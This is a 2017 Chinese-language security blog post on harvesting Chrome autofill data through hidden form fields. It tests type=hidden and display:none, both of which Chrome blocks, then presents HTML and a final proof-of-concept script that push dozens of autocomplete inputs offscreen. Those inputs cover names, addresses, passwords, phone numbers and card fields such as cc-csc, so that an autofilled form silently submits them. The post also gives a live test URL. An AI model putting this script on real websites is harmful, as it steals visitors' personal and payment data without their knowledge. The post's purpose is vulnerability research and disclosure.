Chrome中“自动填充”安全性研究 2017-01-17

昨天看到了一篇关于Chrome自动填充安全相关的文章。

文章中提到:“自动填充是个非常方便地浏览器特性,不过该特性在 Chrome 上也会存在一定的信息泄露的风险。Chrome 最近才修复了某个久负盛名漏洞。简单而言,黑客能够利用自动填充窃取你并不想提交给该网站的信息

效果如下图:

2062601358并提供了一段js来演示漏洞:

var autocompletes = ['name', 'honorific-prefix', 'given-name',
  'additional-name', 'family-name', 'honorific-suffix',
  'nickname', 'username', 'new-password',
  'current-password', 'organization-title', 'organization',
  'street-address', 'address-line1', 'address-line2',
  'address-line3', 'address-level4', 'address-level3',
  'address-level2', 'address-level1', 'country',
  'country-name', 'postal-code', 'cc-name', 'cc-given-name',
  'cc-additional-name', 'cc-family-name', 'cc-exp',
  'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
  'transaction-currency', 'transaction-amount',
  'language', 'bday', 'bday-day', 'bday-month',
  'bday-year', 'sex', 'url', 'photo', 'tel',
  'tel-country-code', 'tel-national',
  'tel-area-code', 'tel-local', 'tel-local-prefix',
  'tel-local-suffix', 'tel-extension', 'impp'
];

emailField.addEventListener('focus', function() {
  var wrap = autocompletes.reduce(function(wrapper, field) {
    var input = document.createElement('input');
    
    // Make them not focussable
    input.tabIndex = -1;
    input.autocomplete = field;
    
    wrapper.appendChild(input);
    return wrapper;
  }, document.createElement('div'));

  // Hide the wrapper
  wrap.classList.add('hidden');
  form.appendChild(wrap);

  // Inject the autocompletes once
  this.removeEventListener('focus', arguments.callee);
});

我在测试以后并没有成功复现该漏洞(因为只提供了js代码,html并没有提供,稍微改了改代码也没有达到想要实现的效果)。

但是通过上述js代码,基本能看出来是什么样的原理。

autocomplete

html中要实现浏览器中的表单自动填充主要依靠于autocomplete属性。

起初autocomplete属性只支持onoff。比如下面代码:

  First name:
  Last name: 
  E-mail: 

如上代码对开启了整个表单的autocomplete却对email关闭了autocomplete,所以我们在点击非email的其他表单即可打开自动填充功能:

2288363214

但在email中却不能展开自动填充功能:

1565109030

后来HTML5标准加入了对autocomplete的支持,并且给autocomplete加入了更多的标示符,以保证让浏览器准确的知道哪些信息对应着表单里的哪些字段。

比如如下代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <fieldset>
         <legend>My Shop</legend>
         <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
         <p> <label> 地址:     <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
         <p> <label> 城市:        <input name=rc autocomplete="section-red shipping address-level2"> </label>
         <p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
        </fieldset>
    </body>
</html>

我在autocomplete属性中写入了语义化的字符,比如namestreet-address等。

浏览器即可准确的把相应的信息填入到相应的表单中。

2624737967

恶意利用

如果能在用户不知情的情况下,拿到用户浏览器存储的其他信息,即可造成很可怕的后果,那么我们就得让用户看不见我们的输入框就好了。

通过如上demo我们可以发现,当我们选择自动填充以后,chrome不仅会把当前表单字段填充到input中,也会把其他表单字段填充到input中。

type=hidden

那么如果我们写一些typehiddeninput标签,并且加上autocomplete属性,chrome是否会自动补上带有hidden属性的input标签的信息呢呢。

我们使用如下代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input type="hidden" name=rc autocomplete="section-red shipping name"> </label>
             <p> <label> 地址:     <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
             <p> <label> 城市:        <input name=rc autocomplete="section-red shipping address-level2"> </label>
             <p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

我们将第一个姓名字段设置为hidden,然后使用自动填充,并且提交表单,查看请求包:

3499433145

发现type属性为hidden的表单并没有获取到,但其他非hiddend的信息都拿到了。

display:none;

既然type设置成hidden浏览器不给信息,那么我们如果让这个input表单让用户看不见,但浏览器认识呢?比如如下代码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
             <div style="display:none;">
                 <p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
                 <p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
                 <p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
             </div>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

我们在表单外层放一个div,让整个div,display:none

2462200021

然而也是不行的:

2771538459

看来chrome已经在这里做了足够的手脚来防护这样的问题。

其实在文章最初提供的js代码也是使用这样的方式来进行攻击的。

看来现在已经被修复了。那么我们就没有其他办法实现了吗?

让用户看不见,浏览器认识的魔法

我们现在要做的无疑是让浏览器认识且没有做防护,并且让用户看不见这个表单,我们的任务就达到了。

这样的办法有很多,比如这样:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
             <div style="margin-left:-1000px;height:0px;">
                 <p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
                 <p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
                 <p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
             </div>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

效果如下:

893637630

bingo!!

1116604249

实现让用户看不见,浏览器却认识的办法很多很多。

比如上面的,比如脱离文档流,比如使用表单的所有东西设置成白色(让用户肉眼看不见即可),比如使用z-index调到下层,等等等等……

最终POC

var autocompletes = ['name', 'honorific-prefix', 'given-name',
    'additional-name', 'family-name', 'honorific-suffix',
    'nickname', 'username', 'new-password',
    'current-password', 'organization-title', 'organization',
    'street-address', 'address-line1', 'address-line2',
    'address-line3', 'address-level4', 'address-level3',
    'address-level2', 'address-level1', 'country',
    'country-name', 'postal-code', 'cc-name', 'cc-given-name',
    'cc-additional-name', 'cc-family-name', 'cc-exp',
    'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
    'transaction-currency', 'transaction-amount',
    'language', 'bday', 'bday-day', 'bday-month',
    'bday-year', 'sex', 'url', 'photo', 'tel',
    'tel-country-code', 'tel-national',
    'tel-area-code', 'tel-local', 'tel-local-prefix',
    'tel-local-suffix', 'tel-extension', 'impp'
    ];
var myform = document.getElementsByTagName('form')[0];
var mydiv = document.createElement('div');
mydiv.style.marginLeft = "-1000px";
mydiv.style.height = "0";
mydiv.style.width = "0";

for (x in autocompletes){
    var tmpInput = document.createElement('input');
    tmpInput.name = autocompletes[x];
    tmpInput.autocomplete = autocompletes[x];
    mydiv.appendChild(tmpInput);
}

myform.appendChild(mydiv);

在线测试地址:http://www.hackersb.cn/poc/autofill/

参考资料

  1. HTML标准 - 表单自动填充
  2. SegmentFault